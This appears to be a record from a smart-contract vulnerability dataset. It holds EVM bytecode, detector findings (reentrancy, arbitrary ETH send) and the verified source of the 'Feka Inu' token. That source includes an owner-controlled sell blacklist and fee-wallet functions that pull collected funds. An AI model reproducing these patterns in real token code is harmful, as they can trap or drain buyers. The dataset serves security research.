5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610587565b60008111610fcf5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610587565b6000546001600160a01b03848116911614801590610ffb57506000546001600160a01b03838116911614155b1561120f576001600160a01b03831660009081526006602052604090205460ff1615801561104257506001600160a01b03821660009081526006602052604090205460ff16155b61104b57600080fd5b6010546001600160a01b0384811691161480156110765750600f546001600160a01b03838116911614155b801561109b57506001600160a01b03821660009081526005602052604090205460ff16155b1561114657601054600160a01b900460ff166110f95760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642e00000000000000006044820152606401610587565b42601154111561114657600061110e836106e0565b905061112f6064611129683635c9adc5dea000006002611568565b906115e7565b6111398383611629565b111561114457600080fd5b505b6000611151306106e0565b601054909150600160b01b900460ff1615801561117c57506010546001600160a01b03858116911614155b80156111915750601054600160a01b900460ff165b1561120d5780156111fb576010546111c590606490611129906005906111bf906001600160a01b03166106e0565b90611568565b8111156111f2576010546111ef90606490611129906005906111bf906001600160a01b03166106e0565b90505b6111fb816113c3565b47801561120b5761120b476112ba565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff168061125157506001600160a01b03831660009081526005602052604090205460ff165b806112655750601054600160a81b900460ff165b1561126e575060005b61127a84848484611688565b50505050565b600081848411156112a45760405162461bcd60e51b81526004016105879190611c49565b5060006112b18486611d98565b95945050505050565b600d546001600160a01b03166108fc6112d48360026115e7565b6040518115909202916000818181858888f193505050501580156112fc573d6000803e3d6000fd5b50600e546001600160a01b03166108fc6113178360026115e7565b6040518115909202916000818181858888f193505050501580156108c6573d6000803e3d6000fd5b60006007548211156113a65760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610587565b60006113b06116b6565b90506113bc83826115e7565b9392505050565b6010805460ff60b01b1916600160b01b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061141957634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600f54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561146d57600080fd5b505afa158015611481573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114a59190611a46565b816001815181106114c657634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600f546114ec9130911684610d83565b600f5460405163791ac94760e01b81526001600160a01b039091169063791ac94790611525908590600090869030904290600401611cd1565b600060405180830381600087803b15801561153f57600080fd5b505af1158015611553573d6000803e3d6000fd5b50506010805460ff60b01b1916905550505050565b600082611577575060006104ee565b60006115838385611d79565b9050826115908583611d59565b146113bc5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610587565b60006113bc83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506116d9565b6000806116368385611d41565b9050838110156113bc5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610587565b8061169557611695611707565b6116a0848484611735565b8061127a5761127a600b54600955600c54600a55565b60008060006116c361182c565b90925090506116d282826115e7565b9250505090565b600081836116fa5760405162461bcd60e51b81526004016105879190611c49565b5060006112b18486611d59565b6009541580156117175750600a54155b1561171e57565b60098054600b55600a8054600c5560009182905555565b6000806000806000806117478761186e565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061177990876118cb565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546117a89086611629565b6001600160a01b0389166000908152600260205260409020556117ca8161190d565b6117d48483611957565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161181991815260200190565b60405180910390a3505050505050505050565b6007546000908190683635c9adc5dea0000061184882826115e7565b82101561186557505060075492683635c9adc5dea0000092509050565b90939092509050565b600080600080600080600080600061188b8a600954600a5461197b565b925092509250600061189b6116b6565b905060008060006118ae8e8787876119ca565b919e509c509a509598509396509194505050505091939550919395565b60006113bc83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611280565b60006119176116b6565b905060006119258383611568565b306000908152600260205260409020549091506119429082611629565b30600090815260026020526040902055505050565b60075461196490836118cb565b6007556008546119749082611629565b6008555050565b600080808061198f60646111298989611568565b905060006119a260646111298a89611568565b905060006119ba826119b48b866118cb565b906118cb565b9992985090965090945050505050565b60008080806119d98886611568565b905060006119e78887611568565b905060006119f58888611568565b90506000611a07826119b486866118cb565b939b939a50919850919650505050505050565b8035611a2581611df6565b919050565b600060208284031215611a3b578081fd5b81356113bc81611df6565b600060208284031215611a57578081fd5b81516113bc81611df6565b60008060408385031215611a74578081fd5b8235611a7f81611df6565b91506020830135611a8f81611df6565b809150509250929050565b600080600060608486031215611aae578081fd5b8335611ab981611df6565b92506020840135611ac981611df6565b929592945050506040919091013590565b60008060408385031215611aec578182fd5b8235611af781611df6565b946020939093013593505050565b60006020808385031215611b17578182fd5b823567ffffffffffffffff80821115611b2e578384fd5b818501915085601f830112611b41578384fd5b813581811115611b5357611b53611de0565b8060051b604051601f19603f83011681018181108582111715611b7857611b78611de0565b604052828152858101935084860182860187018a1015611b96578788fd5b8795505b83861015611bbf57611bab81611a1a565b855260019590950194938601938601611b9a565b5098975050505050505050565b600060208284031215611bdd578081fd5b81356113bc81611e0b565b600060208284031215611bf9578081fd5b81516113bc81611e0b565b600060208284031215611c15578081fd5b5035919050565b600080600060608486031215611c30578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b81811015611c7557858101830151858201604001528201611c59565b81811115611c865783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611d205784516001600160a01b031683529383019391830191600101611cfb565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611d5457611d54611dca565b500190565b600082611d7457634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611d9357611d93611dca565b500290565b600082821015611daa57611daa611dca565b500390565b6000600019821415611dc357611dc3611dca565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146106dd57600080fd5b80151581146106dd57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220c0468af92d00f9c39a6277d20b5cd54818caf672db00b4ea7cc33d4c14d6af5964736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
21
0x10d81a916d1dce6652e001e793083ad0d314fa9d
/** *Submitted for verification at Etherscan.io on 2022-05-01 */ pragma solidity ^0.8.4; // SPDX-License-Identifier: UNLICENSED abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _dev; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract FekaInu is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 2000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; struct Taxes { uint256 buyFee1; uint256 buyFee2; uint256 sellFee1; uint256 sellFee2; } Taxes private _taxes = Taxes(0,3,0,3); uint256 private initialTotalBuyFee = _taxes.buyFee1 + _taxes.buyFee2; uint256 private initialTotalSellFee = _taxes.sellFee1 + _taxes.sellFee2; address payable private _feeAddrWallet; uint256 private _feeRate = 15; string private constant _name = "Feka Inu"; string private constant _symbol = "FEKA"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; bool private _isBuy = false; uint256 private _maxTxAmount = _tTotal; uint256 private _maxWalletSize = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet = payable(0x666d5652D08FE7488ea88C8A4c404C1913Fa5eBD); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(amount > 0, "Transfer amount must be greater than zero"); _isBuy = true; if (from != owner() && to != owner()) { if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // buy require(amount <= _maxTxAmount); require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize."); } if (from != address(uniswapV2Router) && ! _isExcludedFromFee[from] && to == uniswapV2Pair){ require(!bots[from] && !bots[to]); _isBuy = false; } uint256 contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance > balanceOf(uniswapV2Pair).mul(_feeRate).div(100)) { contractTokenBalance = balanceOf(uniswapV2Pair).mul(_feeRate).div(100); } if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function getIsBuy() private view returns (bool){ return _isBuy; } function removeLimits() external onlyOwner{ _maxTxAmount = _tTotal; _maxWalletSize = _tTotal; } function adjustFees(uint256 buyFee1, uint256 buyFee2, uint256 sellFee1, uint256 sellFee2) external onlyOwner { require(buyFee1 + buyFee2 <= initialTotalBuyFee); require(sellFee1 + sellFee2 <= initialTotalSellFee); _taxes.buyFee1 = buyFee1; _taxes.buyFee2 = buyFee2; _taxes.sellFee1 = sellFee1; _taxes.sellFee2 = sellFee2; } function changeMaxTxAmount(uint256 percentage) external onlyOwner{ require(percentage>0); _maxTxAmount = _tTotal.mul(percentage).div(100); } function changeMaxWalletSize(uint256 percentage) external onlyOwner{ require(percentage>0); _maxWalletSize = _tTotal.mul(percentage).div(100); } function setFeeRate(uint256 rate) external { require(_msgSender() == _feeAddrWallet); require(rate<=49); _feeRate = rate; } function sendETHToFee(uint256 amount) private { _feeAddrWallet.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = _tTotal.mul(1).div(100); _maxWalletSize = _tTotal.mul(2).div(100); tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function addBot(address[] memory _bots) public onlyOwner { for (uint i = 0; i < _bots.length; i++) { if (_bots[i] != address(this) && _bots[i] != uniswapV2Pair && _bots[i] != address(uniswapV2Router)){ bots[_bots[i]] = true; } } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = getIsBuy() ? _getTValues(tAmount, _taxes.buyFee1, _taxes.buyFee2) : _getTValues(tAmount, _taxes.sellFee1, _taxes.sellFee2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101395760003560e01c80636fc3eaec116100ab57806395d89b411161006f57806395d89b41146103e3578063a9059cbb1461040e578063b87f137a1461044b578063c3c8cd8014610474578063c9567bf91461048b578063dd62ed3e146104a257610140565b80636fc3eaec1461033657806370a082311461034d578063715018a61461038a578063751039fc146103a15780638da5cb5b146103b857610140565b806323b872dd116100fd57806323b872dd1461022a578063273123b714610267578063313ce5671461029057806345596e2e146102bb5780635932ead1146102e4578063677daa571461030d57610140565b806306fdde0314610145578063095ea7b31461017057806317e1df5b146101ad57806318160ddd146101d657806321bbcbb11461020157610140565b3661014057005b600080fd5b34801561015157600080fd5b5061015a6104df565b60405161016791906129d2565b60405180910390f35b34801561017c57600080fd5b5061019760048036038101906101929190612a9c565b61051c565b6040516101a49190612af7565b60405180910390f35b3480156101b957600080fd5b506101d460048036038101906101cf9190612b12565b61053a565b005b3480156101e257600080fd5b506101eb610631565b6040516101f89190612b88565b60405180910390f35b34801561020d57600080fd5b5061022860048036038101906102239190612ceb565b610642565b005b34801561023657600080fd5b50610251600480360381019061024c9190612d34565b6108a4565b60405161025e9190612af7565b60405180910390f35b34801561027357600080fd5b5061028e60048036038101906102899190612d87565b61097d565b005b34801561029c57600080fd5b506102a5610a6d565b6040516102b29190612dd0565b60405180910390f35b3480156102c757600080fd5b506102e260048036038101906102dd9190612deb565b610a76565b005b3480156102f057600080fd5b5061030b60048036038101906103069190612e44565b610aef565b005b34801561031957600080fd5b50610334600480360381019061032f9190612deb565b610ba1565b005b34801561034257600080fd5b5061034b610c7b565b005b34801561035957600080fd5b50610374600480360381019061036f9190612d87565b610ced565b6040516103819190612b88565b60405180910390f35b34801561039657600080fd5b5061039f610d3e565b005b3480156103ad57600080fd5b506103b6610e91565b005b3480156103c457600080fd5b506103cd610f48565b6040516103da9190612e80565b60405180910390f35b3480156103ef57600080fd5b506103f8610f71565b60405161040591906129d2565b60405180910390f35b34801561041a57600080fd5b5061043560048036038101906104309190612a9c565b610fae565b6040516104429190612af7565b60405180910390f35b34801561045757600080fd5b50610472600480360381019061046d9190612deb565b610fcc565b005b34801561048057600080fd5b506104896110a6565b005b34801561049757600080fd5b506104a0611120565b005b3480156104ae57600080fd5b506104c960048036038101906104c49190612e9b565b61168b565b6040516104d69190612b88565b60405180910390f35b60606040518060400160405280600881526020017f46656b6120496e75000000000000000000000000000000000000000000000000815250905090565b6000610530610529611712565b848461171a565b6001905092915050565b610542611712565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105c690612f27565b60405180910390fd5b600f5483856105de9190612f76565b11156105e957600080fd5b60105481836105f89190612f76565b111561060357600080fd5b83600b6000018190555082600b6001018190555081600b6002018190555080600b6003018190555050505050565b6000686c6b935b8bbd400000905090565b61064a611712565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ce90612f27565b60405180910390fd5b60005b81518110156108a0573073ffffffffffffffffffffffffffffffffffffffff1682828151811061070d5761070c612fcc565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff16141580156107a15750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168282815181106107805761077f612fcc565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1614155b80156108155750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168282815181106107f4576107f3612fcc565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1614155b1561088d5760016007600084848151811061083357610832612fcc565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b808061089890612ffb565b9150506106da565b5050565b60006108b18484846118e3565b610972846108bd611712565b61096d8560405180606001604052806028815260200161384c60289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610923611712565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e899092919063ffffffff16565b61171a565b600190509392505050565b610985611712565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a12576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a0990612f27565b60405180910390fd5b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ab7611712565b73ffffffffffffffffffffffffffffffffffffffff1614610ad757600080fd5b6031811115610ae557600080fd5b8060128190555050565b610af7611712565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b84576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b7b90612f27565b60405180910390fd5b80601460176101000a81548160ff02191690831515021790555050565b610ba9611712565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c36576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2d90612f27565b60405180910390fd5b60008111610c4357600080fd5b610c726064610c6483686c6b935b8bbd400000611eed90919063ffffffff16565b611f6790919063ffffffff16565b60158190555050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610cbc611712565b73ffffffffffffffffffffffffffffffffffffffff1614610cdc57600080fd5b6000479050610cea81611fb1565b50565b6000610d37600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461201d565b9050919050565b610d46611712565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610dd3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dca90612f27565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610e99611712565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f26576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f1d90612f27565b60405180910390fd5b686c6b935b8bbd400000601581905550686c6b935b8bbd400000601681905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f46454b4100000000000000000000000000000000000000000000000000000000815250905090565b6000610fc2610fbb611712565b84846118e3565b6001905092915050565b610fd4611712565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611061576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161105890612f27565b60405180910390fd5b6000811161106e57600080fd5b61109d606461108f83686c6b935b8bbd400000611eed90919063ffffffff16565b611f6790919063ffffffff16565b60168190555050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166110e7611712565b73ffffffffffffffffffffffffffffffffffffffff161461110757600080fd5b600061111230610ced565b905061111d8161208b565b50565b611128611712565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111ac90612f27565b60405180910390fd5b60148054906101000a900460ff1615611203576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111fa9061308f565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061129330601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16686c6b935b8bbd40000061171a565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156112de573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061130291906130c4565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611369573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061138d91906130c4565b6040518363ffffffff1660e01b81526004016113aa9291906130f1565b6020604051808303816000875af11580156113c9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113ed91906130c4565b601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061147630610ced565b600080611481610f48565b426040518863ffffffff1660e01b81526004016114a39695949392919061315f565b60606040518083038185885af11580156114c1573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906114e691906131d5565b5050506001601460166101000a81548160ff0219169083151502179055506001601460176101000a81548160ff02191690831515021790555061154f60646115416001686c6b935b8bbd400000611eed90919063ffffffff16565b611f6790919063ffffffff16565b60158190555061158560646115776002686c6b935b8bbd400000611eed90919063ffffffff16565b611f6790919063ffffffff16565b60168190555060016014806101000a81548160ff021916908315150217905550601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611644929190613228565b6020604051808303816000875af1158015611663573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116879190613266565b5050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611789576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161178090613305565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036117f8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117ef90613397565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516118d69190612b88565b60405180910390a3505050565b60008111611926576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161191d90613429565b60405180910390fd5b6001601460186101000a81548160ff021916908315150217905550611949610f48565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156119b757506119